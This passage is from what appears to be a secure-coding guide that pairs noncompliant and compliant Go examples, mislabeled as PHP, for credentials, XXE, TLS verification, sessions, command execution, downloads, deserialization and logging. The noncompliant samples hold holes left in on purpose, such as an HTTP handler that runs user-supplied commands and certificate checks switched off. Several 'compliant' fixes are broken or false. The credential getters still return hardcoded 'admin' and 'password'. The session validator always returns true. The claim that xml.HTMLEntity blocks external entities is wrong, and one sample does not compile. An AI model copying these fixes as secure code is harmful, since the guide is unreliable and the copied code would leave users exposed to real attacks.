apiPassword)\n\n\tclient := &http.Client{}\n\tresponse, err := client.Do(request)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer response.Body.Close()\n\n\t// Read the response body\n\tdata := make([]byte, response.ContentLength)\n\t_, err = response.Body.Read(data)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn data, nil\n}\n\nfunc main() {\n\tuserID := os.Args[1]\n\tuserData, err := fetchUserData(userID)\n\tif err != nil {\n\t\tfmt.Printf(\"Error fetching user data: %s\\n\", err)\n\t\treturn\n\t}\n\n\tfmt.Printf(\"User data: %s\\n\", userData)\n}\n```\n\nIn this noncompliant code, the API credentials (username and password) are hardcoded in the source code (apiUsername and apiPassword constants). Storing credentials directly in the source code poses a security risk because if an attacker gains access to the code, they will also have access to the credentials.\n\nTo address this issue, here's an example of compliant code that properly protects the credentials:\n\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```php\npackage main\n\nimport (\n\t\"fmt\"\n\t\"net/http\"\n\t\"os\"\n)\n\nfunc fetchUserData(userID string) ([]byte, error) {\n\turl := fmt.Sprintf(\"https://api.example.com/users/%s\", userID)\n\trequest, err := http.NewRequest(http.MethodGet, url, nil)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\trequest.SetBasicAuth(getAPIUsername(), getAPIPassword())\n\n\tclient := &http.Client{}\n\tresponse, err := client.Do(request)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer response.Body.Close()\n\n\t// Read the response body\n\tdata := make([]byte, response.ContentLength)\n\t_, err = response.Body.Read(data)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn data, nil\n}\n\nfunc getAPIUsername() string {\n\t// Retrieve the API username from a secure configuration or environment variable\n\treturn \"admin\"\n}\n\nfunc getAPIPassword() string {\n\t// Retrieve the API password from a secure configuration or environment variable\n\treturn \"password\"\n}\n\nfunc main() {\n\tuserID := os.Args[1]\n\tuserData, err := fetchUserData(userID)\n\tif err != nil {\n\t\tfmt.Printf(\"Error fetching user data: %s\\n\", err)\n\t\treturn\n\t}\n\n\tfmt.Printf(\"User data: %s\\n\", userData)\n}\n```\n\n\nIn the compliant code, the credentials are no longer hardcoded in the source code. Instead, the getAPIUsername and getAPIPassword functions retrieve the credentials from secure configurations or environment variables. This separation of sensitive information from the code helps protect the credentials and reduces the risk of exposure if the code is compromised.\n\nBy properly protecting the credentials and ensuring they are obtained from secure sources, the compliant code mitigates the risk of unauthorized access to sensitive information.\n\n\n\n\n\n\n## Restriction of XML External Entity Reference\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```php\npackage main\n\nimport (\n\t\"encoding/xml\"\n\t\"fmt\"\n\t\"io/ioutil\"\n\t\"net/http\"\n\t\"os\"\n)\n\ntype User struct {\n\tID   int    `xml:\"id\"`\n\tName string `xml:\"name\"`\n}\n\nfunc getUserData(userID string) (*User, error) {\n\turl := fmt.Sprintf(\"https://api.example.com/users/%s\", userID)\n\tresponse, err := http.Get(url)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer response.Body.Close()\n\n\tdata, err := ioutil.ReadAll(response.Body)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tuser := &User{}\n\terr = xml.Unmarshal(data, user)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn user, nil\n}\n\nfunc main() {\n\tuserID := os.Args[1]\n\tuser, err := getUserData(userID)\n\tif err != nil {\n\t\tfmt.Printf(\"Error retrieving user data: %s\\n\", err)\n\t\treturn\n\t}\n\n\tfmt.Printf(\"User ID: %d, Name: %s\\n\", user.ID, user.Name)\n}\n```\n\nIn this noncompliant code, the XML data obtained from the API (response.Body) is directly read and parsed using the xml.Unmarshal function. However, there is no explicit restriction or mitigation against XML external entity (XXE) references. This makes the code vulnerable to XXE attacks, where an attacker can supply malicious XML content containing external entity references to disclose sensitive information or perform other unauthorized actions.\n\nTo address this issue, here's an example of compliant code that properly restricts XML external entity references:\n\n\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```php\npackage main\n\nimport (\n\t\"encoding/xml\"\n\t\"fmt\"\n\t\"io/ioutil\"\n\t\"net/http\"\n\t\"os\"\n)\n\ntype User struct {\n\tID   int    `xml:\"id\"`\n\tName string `xml:\"name\"`\n}\n\nfunc getUserData(userID string) (*User, error) {\n\turl := fmt.Sprintf(\"https://api.example.com/users/%s\", userID)\n\tresponse, err := http.Get(url)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer response.Body.Close()\n\n\tdecoder := xml.NewDecoder(response.Body)\n\tdecoder.Strict = true  // Enable strict XML parsing\n\tdecoder.Entity = xml.HTMLEntity // Disable expansion of external entities\n\n\tuser := &User{}\n\terr = decoder.Decode(user)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn user, nil\n}\n\nfunc main() {\n\tuserID := os.Args[1]\n\tuser, err := getUserData(userID)\n\tif err != nil {\n\t\tfmt.Printf(\"Error retrieving user data: %s\\n\", err)\n\t\treturn\n\t}\n\n\tfmt.Printf(\"User ID: %d, Name: %s\\n\", user.ID, user.Name)\n}\n```\n\n\nIn the compliant code, we make use of the xml.Decoder to perform strict XML parsing and restrict the expansion of external entities. We set the Strict field of the decoder to true and the Entity field to xml.HTMLEntity to disable the expansion of external entities.\n\nBy enforcing strict XML parsing and disabling external entity expansion, the compliant code effectively mitigates the risk of XML external entity (XXE) attacks and ensures that only safe XML content is processed.\n\n\n\n\n\n## Vulnerable and Outdated Components\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```php\npackage main\n\nimport (\n\t\"fmt\"\n\t\"github.com/vulnerable/library\"\n)\n\nfunc main() {\n\tdata := \"Sensitive information\"\n\tencryptedData := library.OldEncryption(data) // Using a vulnerable and outdated encryption function\n\n\tfmt.Println(\"Encrypted Data:\", encryptedData)\n}\n```\n\nIn this noncompliant code, we import a vulnerable and outdated library (github.com/vulnerable/library) and use its OldEncryption function to encrypt sensitive information. The outdated encryption function may have known vulnerabilities or weaknesses that can be exploited by attackers.\n\nTo address this issue, here's an example of compliant code that avoids using vulnerable and outdated components:\n\n\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```php\npackage main\n\nimport (\n\t\"fmt\"\n\t\"github.com/secure/library\"\n)\n\nfunc main() {\n\tdata := \"Sensitive information\"\n\tencryptedData := library.NewEncryption(data) // Using a secure and updated encryption function\n\n\tfmt.Println(\"Encrypted Data:\", encryptedData)\n}\n```\n\n\nIn the compliant code, we import a secure and updated library (github.com/secure/library) that provides a NewEncryption function for encrypting sensitive information. The new encryption function incorporates the latest security practices and fixes any known vulnerabilities present in the old encryption function.\n\nBy using secure and updated components, the compliant code reduces the risk of potential vulnerabilities and ensures that sensitive information is properly protected during encryption. It is important to regularly update and review the components used in an application to ensure they are free from known vulnerabilities and up to date with the latest security patches.\n\n\n\n\n\n\n## Improper Validation of Certificate with Host Mismatch\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```php\npackage main\n\nimport (\n\t\"crypto/tls\"\n\t\"fmt\"\n\t\"net/http\"\n)\n\nfunc main() {\n\ttr := &http.Transport{\n\t\tTLSClientConfig: &tls.Config{\n\t\t\tInsecureSkipVerify: true, // Disables certificate validation\n\t\t},\n\t}\n\tclient := &http.Client{Transport: tr}\n\n\tresp, err := client.Get(\"https://example.com\")\n\tif err != nil {\n\t\tfmt.Println(\"Error:\", err)\n\t\treturn\n\t}\n\tdefer resp.Body.Close()\n\n\t// Process the response\n\t// ...\n}\n```\n\nIn this noncompliant code, the InsecureSkipVerify field is set to true, which disables certificate validation. This means that the client will accept any certificate, even if it does not match the expected host (example.com in this case). This can lead to a potential security vulnerability as it allows for man-in-the-middle attacks and exposes the application to the risk of communicating with an unauthorized or malicious server.\n\nTo address this issue, here's an example of compliant code that properly validates the certificate with the expected host:\n\n\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```php\npackage main\n\nimport (\n\t\"crypto/tls\"\n\t\"fmt\"\n\t\"net/http\"\n)\n\nfunc main() {\n\ttr := &http.Transport{\n\t\tTLSClientConfig: &tls.Config{\n\t\t\tInsecureSkipVerify: false, // Enables certificate validation\n\t\t},\n\t}\n\tclient := &http.Client{Transport: tr}\n\n\tresp, err := client.Get(\"https://example.com\")\n\tif err != nil {\n\t\tfmt.Println(\"Error:\", err)\n\t\treturn\n\t}\n\tdefer resp.Body.Close()\n\n\t// Process the response\n\t// ...\n}\n```\n\n\nIn the compliant code, the InsecureSkipVerify field is set to false, which enables certificate validation. This ensures that the client verifies the server's certificate and checks if it matches the expected host (example.com). By properly validating the certificate, the compliant code mitigates the risk of communicating with unauthorized or malicious servers and protects the integrity and confidentiality of the communication.\n\n\n\n\n\n\n## Improper Authentication\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```php\npackage main\n\nimport (\n\t\"fmt\"\n\t\"net/http\"\n)\n\nfunc main() {\n\thttp.HandleFunc(\"/login\", loginHandler)\n\thttp.HandleFunc(\"/dashboard\", dashboardHandler)\n\thttp.ListenAndServe(\":8080\", nil)\n}\n\nfunc loginHandler(w http.ResponseWriter, r *http.Request) {\n\tusername := r.FormValue(\"username\")\n\tpassword := r.FormValue(\"password\")\n\n\t// Perform authentication\n\tif username == \"admin\" && password == \"password\" {\n\t\t// Successful authentication\n\t\t// ...\n\t\tfmt.Fprintf(w, \"Login successful!\")\n\t} else {\n\t\t// Failed authentication\n\t\t// ...\n\t\tfmt.Fprintf(w, \"Login failed!\")\n\t}\n}\n\nfunc dashboardHandler(w http.ResponseWriter, r *http.Request) {\n\t// Check if the user is authenticated\n\tif isAuthenticated(r) {\n\t\t// Show dashboard\n\t\t// ...\n\t\tfmt.Fprintf(w, \"Welcome to the dashboard!\")\n\t} else {\n\t\t// Redirect to login page\n\t\thttp.Redirect(w, r, \"/login\", http.StatusFound)\n\t}\n}\n\nfunc isAuthenticated(r *http.Request) bool {\n\t// Check if the user is authenticated\n\t// ...\n\treturn false\n}\n```\n\nIn this noncompliant code, the authentication mechanism is implemented using a simple username and password comparison in the loginHandler function. The credentials are sent in plain text and there is no additional security measure, such as encryption or hashing, applied to protect the sensitive information. Furthermore, the authentication state is not properly maintained, and any user can access the dashboard without being authenticated by directly visiting the /dashboard URL.\n\nTo address these issues, here's an example of compliant code that demonstrates proper authentication in Go:\n\n\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```php\npackage main\n\nimport (\n\t\"fmt\"\n\t\"golang.org/x/crypto/bcrypt\"\n\t\"net/http\"\n)\n\nfunc main() {\n\thttp.HandleFunc(\"/login\", loginHandler)\n\thttp.HandleFunc(\"/dashboard\", dashboardHandler)\n\thttp.ListenAndServe(\":8080\", nil)\n}\n\nfunc loginHandler(w http.ResponseWriter, r *http.Request) {\n\tusername := r.FormValue(\"username\")\n\tpassword := r.FormValue(\"password\")\n\n\t// Retrieve the stored hashed password for the given username\n\thashedPassword, _ := getHashedPassword(username)\n\n\t// Compare the provided password with the hashed password\n\terr := bcrypt.CompareHashAndPassword([]byte(hashedPassword), []byte(password))\n\tif err == nil {\n\t\t// Successful authentication\n\t\t// ...\n\t\tfmt.Fprintf(w, \"Login successful!\")\n\t} else {\n\t\t// Failed authentication\n\t\t// ...\n\t\tfmt.Fprintf(w, \"Login failed!\")\n\t}\n}\n\nfunc dashboardHandler(w http.ResponseWriter, r *http.Request) {\n\t// Check if the user is authenticated\n\tif isAuthenticated(r) {\n\t\t// Show dashboard\n\t\t// ...\n\t\tfmt.Fprintf(w, \"Welcome to the dashboard!\")\n\t} else {\n\t\t// Redirect to login page\n\t\thttp.Redirect(w, r, \"/login\", http.StatusFound)\n\t}\n}\n\nfunc isAuthenticated(r *http.Request) bool {\n\t// Check if the user is authenticated\n\t// ...\n\treturn false\n}\n\nfunc getHashedPassword(username string) (string, error) {\n\t// Retrieve the hashed password from the storage for the given username\n\t// ...\n\treturn \"\", nil\n}\n```\n\n\nIn the compliant code, the passwords are securely stored as hashed values using the bcrypt hashing algorithm. During the login process, the provided password is hashed and compared with the stored hashed password using bcrypt.CompareHashAndPassword. This ensures that the passwords are not stored or transmitted in plain text, providing an additional layer of security. Furthermore, the authentication state is properly maintained, and unauthorized access to the dashboard\n\n\n\n\n\n\n## Session Fixation\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```php\npackage main\n\nimport (\n\t\"fmt\"\n\t\"net/http\"\n)\n\nvar sessionID string\n\nfunc main() {\n\thttp.HandleFunc(\"/login\", loginHandler)\n\thttp.HandleFunc(\"/dashboard\", dashboardHandler)\n\thttp.ListenAndServe(\":8080\", nil)\n}\n\nfunc loginHandler(w http.ResponseWriter, r *http.Request) {\n\tusername := r.FormValue(\"username\")\n\n\t// Perform authentication\n\tif username == \"admin\" {\n\t\t// Successful authentication\n\t\tsessionID = \"123456\" // Fixed session ID\n\t\thttp.SetCookie(w, &http.Cookie{Name: \"sessionID\", Value: sessionID})\n\t\tfmt.Fprintf(w, \"Login successful!\")\n\t} else {\n\t\t// Failed authentication\n\t\tfmt.Fprintf(w, \"Login failed!\")\n\t}\n}\n\nfunc dashboardHandler(w http.ResponseWriter, r *http.Request) {\n\t// Check if the user has a valid session\n\tif r.Cookie != nil && r.Cookie[\"sessionID\"] != nil && r.Cookie[\"sessionID\"].Value == sessionID {\n\t\t// Show dashboard\n\t\tfmt.Fprintf(w, \"Welcome to the dashboard!\")\n\t} else {\n\t\t// Redirect to login page\n\t\thttp.Redirect(w, r, \"/login\", http.StatusFound)\n\t}\n}\n```\n\nIn this noncompliant code, the session fixation vulnerability is present. The sessionID variable is a global variable that stores the session ID after successful authentication. The session ID is then set as a cookie value using http.SetCookie. However, the session ID is fixed and does not change between different user sessions. This allows an attacker to fix their own session ID and potentially hijack the session of a legitimate user.\n\nTo address this vulnerability, here's an example of compliant code that mitigates the session fixation vulnerability in Go:\n\n\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```php\npackage main\n\nimport (\n\t\"fmt\"\n\t\"net/http\"\n)\n\nfunc main() {\n\thttp.HandleFunc(\"/login\", loginHandler)\n\thttp.HandleFunc(\"/dashboard\", dashboardHandler)\n\thttp.ListenAndServe(\":8080\", nil)\n}\n\nfunc loginHandler(w http.ResponseWriter, r *http.Request) {\n\tusername := r.FormValue(\"username\")\n\n\t// Perform authentication\n\tif username == \"admin\" {\n\t\t// Generate a new session ID\n\t\tsessionID := generateSessionID()\n\n\t\t// Set the session ID as a cookie value\n\t\thttp.SetCookie(w, &http.Cookie{Name: \"sessionID\", Value: sessionID})\n\n\t\t// Redirect to the dashboard\n\t\thttp.Redirect(w, r, \"/dashboard\", http.StatusFound)\n\t} else {\n\t\t// Failed authentication\n\t\tfmt.Fprintf(w, \"Login failed!\")\n\t}\n}\n\nfunc dashboardHandler(w http.ResponseWriter, r *http.Request) {\n\t// Check if the user has a valid session\n\tsessionIDCookie, err := r.Cookie(\"sessionID\")\n\tif err == nil && isValidSessionID(sessionIDCookie.Value) {\n\t\t// Show dashboard\n\t\tfmt.Fprintf(w, \"Welcome to the dashboard!\")\n\t} else {\n\t\t// Redirect to login page\n\t\thttp.Redirect(w, r, \"/login\", http.StatusFound)\n\t}\n}\n\nfunc generateSessionID() string {\n\t// Generate a new session ID\n\t// ...\n\treturn \"generated-session-id\"\n}\n\nfunc isValidSessionID(sessionID string) bool {\n\t// Check if the session ID is valid\n\t// ...\n\treturn true\n}\n```\n\n\nIn the compliant code, the session ID is no longer stored in a global variable but is generated dynamically using the generateSessionID function. After successful authentication, a new session ID is generated and set as a cookie value using http.SetCookie. The user is then redirected to the dashboard page.\n\n\n\n\n## Inclusion of Functionality from Untrusted Control\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```php\npackage main\n\nimport (\n\t\"fmt\"\n\t\"net/http\"\n\t\"os/exec\"\n)\n\nfunc main() {\n\thttp.HandleFunc(\"/execute\", executeHandler)\n\thttp.ListenAndServe(\":8080\", nil)\n}\n\nfunc executeHandler(w http.ResponseWriter, r *http.Request) {\n\tcommand := r.FormValue(\"command\")\n\n\t// Execute the command received from the user\n\toutput, err := exec.Command(command).CombinedOutput()\n\tif err != nil {\n\t\tfmt.Fprintf(w, \"Error executing command: %v\", err)\n\t\treturn\n\t}\n\n\tfmt.Fprintf(w, \"Command output:\\n%s\", output)\n}\n```\n\nIn this noncompliant code, the executeHandler function receives a command from the user as a request parameter (command). The code directly executes the received command using exec.Command, without any validation or sanitization of the command input. This introduces a significant security risk as it allows an attacker to execute arbitrary commands on the underlying system, leading to potential remote code execution and unauthorized access.\n\nTo address this security risk, here's an example of compliant code that mitigates the inclusion of functionality from untrusted control in Go:\n\n\n\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```php\npackage main\n\nimport (\n\t\"fmt\"\n\t\"net/http\"\n\t\"os/exec\"\n\t\"strings\"\n)\n\nfunc main() {\n\thttp.HandleFunc(\"/execute\", executeHandler)\n\thttp.ListenAndServe(\":8080\", nil)\n}\n\nfunc executeHandler(w http.ResponseWriter, r *http.Request) {\n\tcommand := r.FormValue(\"command\")\n\n\t// Validate and sanitize the command input\n\tif !isValidCommand(command) {\n\t\tfmt.Fprintf(w, \"Invalid command\")\n\t\treturn\n\t}\n\n\t// Execute the validated command\n\toutput, err := exec.Command(command).CombinedOutput()\n\tif err != nil {\n\t\tfmt.Fprintf(w, \"Error executing command: %v\", err)\n\t\treturn\n\t}\n\n\tfmt.Fprintf(w, \"Command output:\\n%s\", output)\n}\n\nfunc isValidCommand(command string) bool {\n\t// Validate the command input against a whitelist of allowed commands\n\tallowedCommands := []string{\"ls\", \"echo\", \"pwd\"} // Example whitelist\n\n\tfor _, allowedCmd := range allowedCommands {\n\t\tif command == allowedCmd {\n\t\t\treturn true\n\t\t}\n\t}\n\n\treturn false\n}\n```\n\n\nIn the compliant code, the executeHandler function validates and sanitizes the command input received from the user. It checks the command against a whitelist of allowed commands (allowedCommands). Only the commands in the whitelist are considered valid and will be executed. Any command not present in the whitelist is rejected, preventing the execution of arbitrary commands. This helps to mitigate the risk of including functionality from untrusted control.\n\n\n\n\n## Download of Code Without Integrity Check\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```php\npackage main\n\nimport (\n\t\"fmt\"\n\t\"io/ioutil\"\n\t\"net/http\"\n\t\"os\"\n)\n\nfunc main() {\n\turl := \"http://example.com/malicious-code.zip\"\n\tfilePath := \"/path/to/save/malicious-code.zip\"\n\n\t// Download the file from the specified URL\n\tresponse, err := http.Get(url)\n\tif err != nil {\n\t\tfmt.Println(\"Error downloading file:\", err)\n\t\treturn\n\t}\n\tdefer response.Body.Close()\n\n\t// Read the contents of the response body\n\tdata, err := ioutil.ReadAll(response.Body)\n\tif err != nil {\n\t\tfmt.Println(\"Error reading response:\", err)\n\t\treturn\n\t}\n\n\t// Save the downloaded file\n\terr = ioutil.WriteFile(filePath, data, 0644)\n\tif err != nil {\n\t\tfmt.Println(\"Error saving file:\", err)\n\t\treturn\n\t}\n\n\tfmt.Println(\"File downloaded successfully!\")\n}\n```\n\nIn this noncompliant code, the program downloads a file from a specified URL using the http.Get function and saves it to a local file using ioutil.WriteFile. However, the code does not perform any integrity check on the downloaded file. This leaves the system vulnerable to potential attacks, such as downloading and executing malicious code or tampering with the downloaded file.\n\nTo address this security risk, here's an example of compliant code that incorporates an integrity check when downloading code in Go:\n\n\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```php\npackage main\n\nimport (\n\t\"fmt\"\n\t\"io/ioutil\"\n\t\"net/http\"\n\t\"os\"\n)\n\nfunc main() {\n\turl := \"http://example.com/malicious-code.zip\"\n\tfilePath := \"/path/to/save/malicious-code.zip\"\n\n\t// Download the file from the specified URL\n\tresponse, err := http.Get(url)\n\tif err != nil {\n\t\tfmt.Println(\"Error downloading file:\", err)\n\t\treturn\n\t}\n\tdefer response.Body.Close()\n\n\t// Read the contents of the response body\n\tdata, err := ioutil.ReadAll(response.Body)\n\tif err != nil {\n\t\tfmt.Println(\"Error reading response:\", err)\n\t\treturn\n\t}\n\n\t// Perform an integrity check on the downloaded file\n\tif !isFileIntegrityValid(data) {\n\t\tfmt.Println(\"File integrity check failed!\")\n\t\treturn\n\t}\n\n\t// Save the downloaded file\n\terr = ioutil.WriteFile(filePath, data, 0644)\n\tif err != nil {\n\t\tfmt.Println(\"Error saving file:\", err)\n\t\treturn\n\t}\n\n\tfmt.Println(\"File downloaded and saved successfully!\")\n}\n\nfunc isFileIntegrityValid(data []byte) bool {\n\t// Implement an integrity check algorithm (e.g., cryptographic hash)\n\t// to validate the integrity of the downloaded file\n\t// and return true if the integrity check passes, or false otherwise\n\n\t// Example using SHA256 hash\n\texpectedHash := \"...\"\n\tactualHash := calculateHash(data)\n\n\treturn expectedHash == actualHash\n}\n\nfunc calculateHash(data []byte) string {\n\t// Calculate the hash of the data using a suitable cryptographic hash function\n\t// and return the hash value as a string\n\n\t// Example using SHA256 hash\n\t// ...\n\n\treturn \"...\"\n}\n```\n\n\nIn the compliant code, after reading the contents of the response body, an integrity check is performed on the downloaded file using the isFileIntegrityValid function. The function implements an integrity check algorithm, such as calculating a cryptographic hash (e.g., SHA256) of the file's data. If the integrity check passes, the file is saved to the local path. Otherwise, the code rejects the file and terminates the process. \n\n\n\n\n\n## Deserialization of Untrusted Data\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```php\npackage main\n\nimport (\n\t\"encoding/json\"\n\t\"fmt\"\n\t\"log\"\n)\n\ntype User struct {\n\tID       int\n\tUsername string\n\tEmail    string\n}\n\nfunc main() {\n\tdata := `{\"ID\": 1, \"Username\": \"john\", \"Email\": \"john@example.com\"}`\n\n\tvar user User\n\terr := json.Unmarshal([]byte(data), &user)\n\tif err != nil {\n\t\tlog.Fatal(\"Error deserializing user:\", err)\n\t}\n\n\tfmt.Println(\"User:\", user)\n}\n```\n\nIn this noncompliant code, the program deserializes a JSON string representing a user object using json.Unmarshal. However, it does not perform any validation or sanitization on the input data. This leaves the system vulnerable to potential attacks, such as deserialization of maliciously crafted data, which could lead to code execution, information disclosure, or other security risks.\n\nTo address this security risk, here's an example of compliant code that incorporates proper validation and sanitization when deserializing untrusted data in Go:\n\n\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```php\npackage main\n\nimport (\n\t\"encoding/json\"\n\t\"fmt\"\n\t\"log\"\n)\n\ntype User struct {\n\tID       int\n\tUsername string\n\tEmail    string\n}\n\nfunc main() {\n\tdata := `{\"ID\": 1, \"Username\": \"john\", \"Email\": \"john@example.com\"}`\n\n\t// Perform input validation and sanitization\n\tif !isValidJSON(data) {\n\t\tlog.Fatal(\"Invalid JSON data\")\n\t}\n\n\tvar user User\n\terr := json.Unmarshal([]byte(data), &user)\n\tif err != nil {\n\t\tlog.Fatal(\"Error deserializing user:\", err)\n\t}\n\n\t// Perform additional validation on the deserialized user object\n\tif !isValidUser(user) {\n\t\tlog.Fatal(\"Invalid user data\")\n\t}\n\n\tfmt.Println(\"User:\", user)\n}\n\nfunc isValidJSON(data string) bool {\n\t// Implement validation logic to ensure the input data is valid JSON\n\t// and return true if valid, or false otherwise\n\n\t// Example: use json.Valid function from the encoding/json package\n\treturn json.Valid([]byte(data))\n}\n\nfunc isValidUser(user User) bool {\n\t// Implement additional validation logic on the deserialized user object\n\t// to ensure it meets the application's requirements\n\t// and return true if valid, or false otherwise\n\n\t// Example: check if the username and email meet certain criteria\n\tif len(user.Username) < 3 || len(user.Email) == 0 {\n\t\treturn false\n\t}\n\n\treturn true\n}\n```\n\n\nIn the compliant code, before deserializing the JSON data, the input is first validated using the isValidJSON function to ensure it is valid JSON. If the data is not valid, the process is terminated. After deserialization, additional validation is performed on the deserialized User object using the isValidUser function to ensure it meets the application's requirements. If the user data is deemed invalid, the process is terminated.\n\n\nBy incorporating validation and sanitization steps, the compliant code mitigates the risk of deserializing untrusted data and helps prevent potential security vulnerabilities associated with deserialization attacks.\n\n\n\n\n\n## Insufficient Logging\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```php\npackage main\n\nimport (\n\t\"fmt\"\n\t\"log\"\n\t\"net/http\"\n\t\"os\"\n)\n\nfunc main() {\n\thttp.HandleFunc(\"/\", handleRequest)\n\tlog.Fatal(http.ListenAndServe(\":8080\", nil))\n}\n\nfunc handleRequest(w http.ResponseWriter, r *http.Request) {\n\t// Process the request\n\t// ...\n\n\t// Log the request details\n\tlog.Println(\"Request received:\", r.Method, r.URL.Path)\n\n\t// Perform some sensitive operation\n\tperformSensitiveOperation()\n\n\t// Log the completion of the request\n\tlog.Println(\"Request processed successfully\")\n}\n\nfunc performSensitiveOperation() {\n\t// Perform some sensitive operation\n\t// ...\n\n\t// Log the sensitive operation\n\tlog.Println(\"Sensitive operation performed\")\n}\n```\n\nIn this noncompliant code, logging is used to capture request details and the execution of a sensitive operation. However, the logging is limited to using the standard logger from the log package, which typically logs to the standard error output or a predefined log file. This approach is insufficient for effective logging as it lacks important information, such as log levels, timestamps, and contextual details.\n\nTo address this issue and ensure sufficient logging, here's an example of compliant code that incorporates a more robust logging solution using a dedicated logging package, such as logrus:\n\n\n\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```php\npackage main\n\nimport (\n\t\"fmt\"\n\t\"net/http\"\n\t\"os\"\n\n\tlog \"github.com/sirupsen/logrus\"\n)\n\nfunc main() {\n\t// Initialize the logger\n\tinitLogger()\n\n\thttp.HandleFunc(\"/\", handleRequest)\n\tlog.Fatal(http.ListenAndServe(\":8080\", nil))\n}\n\nfunc initLogger() {\n\t// Set the desired log output, format, and level\n\tlog.SetOutput(os.Stdout)\n\tlog.SetFormatter(&log.JSONFormatter{})\n\tlog.SetLevel(log.InfoLevel)\n}\n\nfunc handleRequest(w http.ResponseWriter, r *http.Request) {\n\t// Process the request\n\t// ...\n\n\t// Log the request details\n\tlog.WithFields(log.Fields{\n\t\t\"method\": r.Method,\n\t\t\"path\":   r.URL.Path,\n\t}).Info(\"Request received\")\n\n\t// Perform some sensitive operation\n\tperformSensitiveOperation()\n\n\t// Log the completion of the request\n\tlog.Info(\"Request processed successfully\")\n}\n\nfunc performSensitiveOperation() {\n\t// Perform some sensitive operation\n\t// ...\n\n\t// Log the sensitive operation\n\tlog.Warn(\"Sensitive operation performed\")\n}\n```\n\n\nIn the compliant code, the logrus package is used for logging. The logging is initialized in the initLogger function, where the desired log output, format, and level are set. In this example, the logs are directed to the standard output, formatted as JSON, and the log level is set to InfoLevel.\n\nThe handleRequest function demonstrates how to log request details and the execution of a sensitive operation using the log.Info and log.Warn methods respectively. The logs include additional contextual information using the WithFields method to provide a structured log entry.\n\nBy utilizing a more feature-rich logging package like logrus, the compliant code enhances the logging capabilities by providing log levels, timestamps, and contextual information. This enables better troubleshooting, monitoring, and security analysis.\n\n\n\n\n## Improper Output Neutralization for Logs\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```php\npackage main\n\nimport (\n\t\"fmt\"\n\t\"log\"\n\t\"net/http\"\n)\n\nfunc main() {\n\thttp.HandleFunc(\"/\", handleRequest)\n\tlog.Fatal(http.ListenAndServe(\":8080\", nil))\n}\n\nfunc handleRequest(w http.ResponseWriter, r *http.Request) {\n\tusername := r.FormValue(\"username\")\n\n\t// Log the username\n\tlog.Println(\"User logged in:\", username)\n\n\t// Process the request\n\t// ...\n}\n```\n\nIn this noncompliant code, the username received from the request is directly logged using the log.Println function. This practice is insecure because it may lead to log injection attacks or unintentional exposure of sensitive information. An attacker could potentially exploit this vulnerability by injecting special characters or newlines into the username to modify the log output or disrupt the log file's structure.\n\nTo address this issue and ensure proper output neutralization for logs, here's an example of compliant code that incorporates output sanitization using the log.Printf function:\n\n\n\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```php\npackage main\n\nimport (\n\t\"fmt\"\n\t\"log\"\n\t\"net/http\"\n\t\"strings\"\n)\n\nfunc main() {\n\thttp.HandleFunc(\"/\", handleRequest)\n\tlog.Fatal(http.ListenAndServe(\":8080\", nil))\n}\n\nfunc handleRequest(w http.ResponseWriter, r *http.Request) {\n\tusername := r.FormValue(\"username\")\n\n\t// Sanitize the username\n\tsanitizedUsername := sanitizeString(username)\n\n\t// Log the sanitized username\n\tlog.Printf(\"User logged in: %s\", sanitizedUsername)\n\n\t// Process the request\n\t// ...\n}\n\nfunc sanitizeString(s string) string {\n\t// Replace special characters that could affect log output\n\ts = strings.ReplaceAll(s, \"\\n\", \"\\\\n\")\n\ts = strings.ReplaceAll(s, \"\\r\", \"\\\\r\")\n\ts = strings.ReplaceAll(s, \"\\t\", \"\\\\t\")\n\n\treturn s\n}\n```\n\n\nIn the compliant code, the sanitizeString function is introduced to sanitize the username before logging. 